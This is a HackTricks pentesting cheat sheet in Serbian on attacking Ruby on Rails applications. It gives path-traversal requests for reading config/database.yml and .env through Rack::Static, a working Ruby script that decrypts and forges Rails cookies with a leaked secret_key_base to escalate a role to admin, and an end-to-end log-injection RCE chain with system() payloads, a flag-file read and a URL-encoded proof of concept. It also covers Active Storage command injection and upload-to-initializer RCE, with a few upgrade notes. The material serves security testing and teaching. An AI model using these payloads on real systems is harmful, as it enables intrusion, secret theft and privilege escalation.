Ruby trikovi
Reading time: 8 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Otprema fajla do RCE
Kao što je objašnjeno u this article, otpremanje .rb fajla u osetljive direktorijume kao što su config/initializers/ može dovesti do remote code execution (RCE) u Ruby on Rails aplikacijama.
Saveti:
- Druga mesta koja se izvršavaju pri startu aplikacije (boot/eager-load) su takođe rizična ako su upisiva (npr.
config/initializers/je klasičan primer). Ako nađete arbitraran file upload koji završi bilo gde podconfig/i kasnije se eval/require-uje, možete dobiti RCE pri pokretanju. - Tražite dev/staging buildove koji kopiraju user-controlled fajlove u container image gde će ih Rails učitati pri startu.
Active Storage image transformation → command execution (CVE-2025-24293)
Kada aplikacija koristi Active Storage sa image_processing + mini_magick, i prosleđuje untrusted parametre metodama za transformaciju slika, Rails verzije pre 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mogu dozvoliti command injection zato što su neke transformation metode greškom bile dozvoljene po defaultu.
- Vulnerable pattern izgleda ovako:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
gde su params[:t] i/ili params[:v] pod kontrolom napadača.
-
Šta probati tokom testiranja
-
Identifikujte endpoint-e koji prihvataju variant/processing opcije, imena transformacija, ili arbitrarne ImageMagick argumente.
-
Fuzz
params[:t]iparams[:v]za sumnjive greške ili side-effecte izvršavanja. Ako možete uticati na ime metode ili poslati raw argumente koji dospeju do MiniMagick-a, možete dobiti code exec na hostu koji obrađuje slike. -
Ako imate samo read-access do generisanih varijanti, pokušajte blind exfiltration putem konstruisanih ImageMagick operacija.
-
Rešavanje/detekcija
-
Ako vidite Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sa Active Storage +
image_processing+mini_magicki user-controlled transformacijama, smatrati to eksploatabilnim. Preporučite nadogradnju i primenu striktnih allowlist-a za metode/params i hardenovan ImageMagick policy.
Rack::Static LFI / path traversal (CVE-2025-27610)
Ako target stack koristi Rack middleware direktno ili preko framework-a, verzije rack pre 2.2.13, 3.0.14 i 3.1.12 dozvoljavaju Local File Inclusion preko Rack::Static kada :root nije setovan/je pogrešno konfigurisan. Encodovana traversal u PATH_INFO može izložiti fajlove iz radnog direktorijuma procesa ili neočekivanog root-a.
- Tražite aplikacije koje mount-uju
Rack::Staticuconfig.ruili middleware stack-ovima. Probajte encodovane traversale protiv statičkih putanja, na primer:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Prilagodite prefix da odgovara konfigurisanom urls:. Ako aplikacija odgovori sa sadržajem fajla, verovatno imate LFI ka bilo čemu pod razrešenim :root.
- Ublažavanje: nadogradite Rack; osigurajte da
:rootpokazuje samo na direktorijum javnih fajlova i da je eksplicitno setovan.
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails enkriptuje i potpisuje cookies koristeći ključeve izvedene iz secret_key_base. Ako ta vrednost bude leaked (npr. u repo-u, logovima ili pogrešno konfigurisanih credentials), obično možete dekriptovati, modifikovati i ponovo enkriptovati cookies. Ovo često vodi ka authz bypass-u ako aplikacija čuva ulogu, user ID-jeve ili feature flag-ove u cookies.
Minimalni Ruby za dekriptovanje i ponovnu enkripciju modernih cookies (AES-256-GCM, default u novijim Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Napomene:
- Starije aplikacije mogu koristiti AES-256-CBC i salts
encrypted cookie/signed encrypted cookie, ili JSON/Marshal serializers. Prilagodite salts, cipher i serializer u skladu sa tim. - U slučaju kompromitovanja/pri proceni, rotirajte
secret_key_baseda biste invalidirali sve postojeće cookies.
See also (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling
Kada aplikacija (često jednostavan Rack/Sinatra/Rails endpoint) ispunjava oba uslova:
- zapisuje string koji kontroliše korisnik doslovno, i
- kasnije
load-uje fajl čija je putanja izvedena iz istog stringa (nakonPathname#cleanpath),
Često možete postići izvršavanje koda na daljinu (RCE) tako što ćete zatrovati log i potom prisiliti aplikaciju da load-uje log fajl. Ključne primitive:
- Ruby
loadevaluira sadržaj ciljnog fajla kao Ruby bez obzira na ekstenziju fajla. Bilo koji čitljiv tekstualni fajl čiji sadržaj parsira kao Ruby biće izvršen. Pathname#cleanpathsabija.i..segmente bez pristupanja filesystem-u, omogućavajući path smuggling: attacker-controlled junk može biti dodan ispred radi logovanja dok očišćena putanja i dalje rešava na željeni fajl za izvršenje (npr.../logs/error.log).
Minimalni ranjivi obrazac
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Zašto log može sadržati validan Ruby
Logger zapisuje prefiksne linije kao:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
U Ruby, # započinje komentar, a 9/2/2025 je samo aritmetika. Da biste ubacili validan Ruby kod morate:
- Počnite svoj payload na novom redu tako da ga
#u INFO liniji ne komentariše; pošaljite vodeći novi red (\nili%0A). - Zatvorite viseći
[koji je uveden u INFO liniji. Uobičajeni trik je da počnete sa]i opciono zadovoljite parser sa][0]=1. - Zatim postavite proizvoljan Ruby kod (npr.
system(...)).
Example of what will end up in the log after one request with a crafted param:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Krijumčarenje jedne niske koja istovremeno loguje kod i rešava se u putanju log fajla
Želimo jednu nisku kontrolisanu od strane napadača koja:
- kada se zabeleži u raw obliku, sadrži naš Ruby payload, i
- kada se prosledi kroz
Pathname.new(<input>).cleanpath, rešava se u../logs/error.log, tako da naredniloadizvrši upravo zatrovani log fajl.
Pathname#cleanpath ignoriše scheme i kolapsira traversal komponente, tako da sledeće radi:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
#pre://osigurava da Ruby ignoriše ostatak kada se log izvrši, dokcleanpathi dalje svodi sufiks na../logs/error.log.- Početni newline izlazi iz INFO linije;
]zatvara viseću zagradu;][0]=1zadovoljava parser.
End-to-end eksploatacija
- Pošaljite sledeće kao ime backup skripta (ako je potrebno URL-enkodujte prvi newline kao
%0A):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- Aplikacija zapiše vaš sirovi string u
logs/error.log. - Aplikacija izračuna
cleanpathkoji se rešava na../logs/error.logi pozivaloadna njemu. - Ruby izvršava kod koji ste ubrizgali u log.
Da biste eksfiltrirali fajl u okruženju sličnom CTF-u:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (prvi karakter je novi red):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Reference
- Rails bezbednosno saopštenje: CVE-2025-24293 Active Storage unsafe transformation methods (ispravljeno u 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub obaveštenje: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath docs
- Ruby Logger
- How Ruby load works
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks